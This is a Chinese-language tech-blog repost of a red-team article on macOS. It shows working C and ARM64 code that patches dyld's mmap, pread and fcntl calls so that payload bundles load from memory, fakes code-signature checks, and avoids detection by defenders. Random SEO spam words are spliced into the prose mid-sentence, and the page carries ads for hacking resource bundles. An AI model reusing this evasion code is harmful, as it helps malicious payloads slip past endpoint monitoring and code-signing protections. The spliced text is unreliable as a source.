您现在的位置是:电脑教程 >>正文
IOS逆向-恢复Dyld的内存加载方式
电脑教程513人已围观
简介之前我们一直在使用由dyld及其NS Create Object File ImageFrom Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然 ...
之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的逆内存Mach-O捆绑包的内存加载方式 。虽然这些方法我们今天仍然还在使用,向恢但是复D方式这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上 。
@roguesys 在 2022 年 2 月发布公告称 ,加载dyld 的逆内存代码已经被更新 ,传递给 NSLinkModule 的向恢任何模块都将会被写入到一个临时的位置中。
作为一个红队队员 ,复D方式这对于我们的加载渗透工作并没有好处 。毕竟 ,高防服务器逆内存NSLinkModule一个非常有用的向恢api函数,这个函数可以使得我们的复D方式有效载荷不被蓝队轻易的发现 。
因此,加载在这篇文章中 ,逆内存我们来仔细看看dyld的向恢变化,并看看我们能做些什么来恢复这一功能 ,复D方式让我们的工具在内存中多保存一段时间 ,防止被蓝队过早的发现 。
NSLinkModule有何与众不同
由于dyld是开源的模板下载 ,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理 。
该函数的签名为 :
复制NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }1.该函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的 ,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数 ,前者只是用于记录语句,源码库后者一般是被忽略不用的。
通过查看代码发现,最新版本的NSLinkModule,会将osi所指向的内存写入磁盘。
复制if ( ofi->memSource != nullptr ) {...
char tempFileName[PATH_MAX];const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR");if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX);if ( tmpDir[strlen(tmpDir) - 1] != / )strlcat(tempFileName, "/", PATH_MAX);}else
strlcpy(tempFileName, "/tmp/", PATH_MAX);strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);int fd = this->libSystemHelpers->mkstemp(tempFileName);if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0);}...
}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。建站模板所以我们知道内存会被写入磁盘 ,并且路径会被传递给dlopen_from 。
复制...
ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);...1.2.3.因此,从本质上讲,这也就使得NSLinkModule成为了dlopen的一个封装器。
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)那我们能否恢复dyld之前的内存加载特性呢?
我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么 ,如果我们在调用之前拦截它们,会发生什么呢?
使用dyld进行hook
为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook 。
我们研究看看dyld是如何处理mmap调用的服务器租用。启动 Hopper 并加载 /usr/lib/dyld , 显示mmap 是由 dyld 使用 svc 调用的 。

知道了这一点,如果我们找到内存中存放这段代码的位置 ,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。
复制ldr x8,_value
br x8
_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location1.2.3.在我们进行操作之前 ,首先我们找到进程地址空间中dyld的基址 。这是亿华云通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。
复制void *getDyldBase(void) { struct task_dyld_info dyld_info;mach_vm_address_t image_infos;struct dyld_all_image_infos *infos;mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;kern_return_t ret;ret = task_info(mach_task_self_,TASK_DYLD_INFO,(task_info_t)&dyld_info,&count);if (ret != KERN_SUCCESS) { return NULL;}image_infos = dyld_info.all_image_info_addr;infos = (struct dyld_all_image_infos *)image_infos;return infos->dyldImageLoadAddress;}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。
复制bool searchAndPatch(char *base, char *signature, int length, void *target) { char *patchAddr = NULL;kern_return_t kret;for(int i=0; i < 0x100000; i++) { if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) { patchAddr = base + i;break;}}...1.2.3.4.5.6.7.8.9.10.11.12.当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁 。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护 。
复制kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);if (kret != KERN_SUCCESS) { return FALSE;}1.2.3.4.注意这里的VM_PROT, 这个是必须要设定的 ,因为该内存页在其最大内存保护中没有设置写权限 。
设置了写权限后 ,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec 。
复制//Copy our path
memcpy(patchAddr, patch, sizeof(patch));// Setthe br address for our hook call
*(void **)((char*)patchAddr + 16) = target;//Return exec permission
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);if (kret != KERN_SUCCESS) { return FALSE;}1.2.3.4.5.6.7.8.9.10.11.现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么 。
由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码 。

那么,既然如此,我们该如何处理我们的hook程序呢 ?
API模拟调用
有了所有组件的映射,我们现在就可以开始模拟API的调用 。根据dyld的代码 ,我们需要对mmap、pread 、fcntl的内容进行处理。
如果我们这样做是正确的 ,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘 。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容 。
首先研究mmap 。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件 。
如果是这样的话 ,我们就不需要从磁盘上映射内存了 ,只要简单地分配一个新的内存区域 ,然后复制到我们构造的Mach-O包上。
复制#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { char *alloc;char filePath[PATH_MAX];int newFlags;memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"file
if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { newFlags = MAP_PRIVATE | MAP_ANONYMOUS;if (addr != 0) { newFlags |= MAP_FIXED;}alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0);memcpy(alloc, memoryLoadedFile+offset, len);vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot);return alloc;}}// If for another file,we pass through
return mmap(addr, len, prot, flags, fd, offset);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID 。
复制ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX];memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"file
if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset, nbyte);return nbyte;}}// If for another file,we pass through
return pread(fd, buf, nbyte, offset);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.最后我们处理fcntl 。它会在很多地方被调用 ,可以在任何可能会失败的mmap调用之前验证编码的要求 。

由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查 。
复制int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX];memset(filePath, 0, sizeof(filePath));// Check if the file is our "in-memory"file
if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures_t *fsig = (fsignatures_t*)param;// called to check that cert covers file.. so well make it cover everything ;)fsig->fs_file_start = 0xFFFFFFFF;return 0;}// Signature sanity check by dyldif (cmd == F_CHECK_LV) { // Just say everything is finereturn 0;}}}return fcntl(fildes, cmd, param);}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.有了以上这些,然后我们可以把这一切组合起来。
复制int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) { @autoreleasepool { char *dyldBase;int fd;int size;void (*function)(void);NSObjectFileImage fileImage;// Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise weve just recreated dlopen :/size = readFile("/tmp/loadme", &memoryLoadedFile);dyldBase = getDyldBase();searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap);searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread);searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl);// Set up blank content, same size as our Mach-Ochar *fakeImage = (char *)malloc(size);memset(fakeImage, 0x41, size);// Small hack to get around NSCreateObjectFileImageFromMemory validating our fake imagefileImage = (NSObjectFileImage)malloc(1024);*(void **)(((char*)fileImage+0x8)) = fakeImage;*(void **)(((char*)fileImage+0x10)) = size;void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE);void *symbol = NSLookupSymbolInModule(module, "runme");function = NSAddressOfSymbol(symbol);function();}}1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。

但通过在运行时的交换内容来看 ,我们发现我们的内存模块加载完全正常。

所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule ,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。
事实证明,这个想法是正确的 。比如:
复制void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);function = dlsym(a, "runme");function();1.2.3.而不是只是搜索NSCreateObjectFileImageFromMemory ,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换 ,我们得到了同样的结果 。

这里有一些注意事项 。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时 ,系统最终会截断我们的Mach-O。
Tags:
转载:欢迎各位朋友分享到网络,但转载请说明文章出处“商站动力”。http://www.noorid.com/news/470f899521.html
相关文章
如何在业务环境中实施安全可靠的数据加密?
电脑教程对关键的业务数据进行加密是防范组织敏感信息泄露和未经授权访问的重要措施。通过实施强大的加密技术和策略,企业可以降低数字化转型发展中的业务风险,维护企业核心数据资产的机密性、完整性和可用性。但是,企业该 ...
【电脑教程】
阅读更多慕尼黑电子展(探索科技前沿,开启未来之门)
电脑教程慕尼黑电子展作为全球最重要的电子科技盛会之一,每年吸引着来自世界各地的科技公司、创业者和专业人士汇聚于此。展会不仅展示了最新的科技成果和创新产品,还提供了一个促进行业交流与合作的平台。本文将介绍慕尼黑 ...
【电脑教程】
阅读更多探索CloudSilver的无限可能性(云端银行的创新技术与服务)
电脑教程现如今,随着科技的飞速发展,各行各业都在积极探索数字化转型的道路。银行业也不例外,为了提供更好的金融服务和更高效的操作流程,许多银行纷纷借助云计算技术来构建自己的云端银行系统。其中,CloudSilv ...
【电脑教程】
阅读更多
热门文章
最新文章
友情链接
- 小米膜的优点和特点(为你的手机屏幕保驾护航)
- M8peg与750比较(一探M8peg和750处理器之间的差异与应用场景选择)
- 温莎资本(揭秘温莎资本的成功秘诀与发展战略)
- Win10XP双系统安装教程(详解Win10XP双系统安装步骤,轻松享受多系统带来的便利与灵活性)
- Metabones(全面解析Metabones的优势及应用领域)
- 使用U盘安装新硬盘系统教程(一步步教你如何利用U盘轻松安装新硬盘系统)
- 如何评估数据中心?高度互联的生态系统是关键
- SKG抽油烟机质量评测(全面分析SKG抽油烟机的性能与可靠性)
- 倍轻松牌子的品质与性能评估(解析倍轻松牌子的创新科技与用户体验)
- 蒸汽吸尘器的清洁效果及优点(以蒸汽吸尘器为主题的家居清洁新选择) 亿华云b2b信息平台网站建设企业服务器香港物理机云服务器源码库